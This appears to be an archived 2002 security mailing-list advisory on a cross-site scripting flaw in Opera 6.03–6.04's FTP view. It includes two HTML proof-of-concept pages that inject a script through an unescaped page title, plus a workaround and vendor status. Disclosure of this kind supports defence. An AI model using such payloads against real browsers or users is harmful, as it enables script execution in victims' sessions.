[NEWS] Opera FTP View Cross-Site Scripting Vulnerability
From: support@securiteam.comDate: 08/10/02
- Previous message: support@securiteam.com: "[NEWS] Web Shop Manager Security Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Sat, 10 Aug 2002 22:38:18 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Opera FTP View Cross-Site Scripting Vulnerability
------------------------------------------------------------------------
SUMMARY
Opera allows running Malicious Scripts due to a bug in 'FTP view' feature.
If you click on a malicious link, the script embedded in URL will run.
DETAILS
Vulnerable systems:
* Opera version 6.03
* Opera version 6.04
This problem is in 'FTP view' feature. The '<title>URL</title>' is not
escaped, allowing embedding of malicious HTML and JavaScript code.
Exploit code:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]/");</script>
</body>
</html>
Another exploit:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html>
Demonstration:
<http://www.geocities.co.jp/SiliconValley/1667/advisory04e.html>
http://www.geocities.co.jp/SiliconValley/1667/advisory04e.html
Workaround:
Disable JavaScript.
Vendor status:
Opera Software ASA was notified on 30 June 2002.
ADDITIONAL INFORMATION
The information has been provided by <mailto:ptrs-ejy@bp.iij4u.or.jp>
Eiji James Yoshida.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] Web Shop Manager Security Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
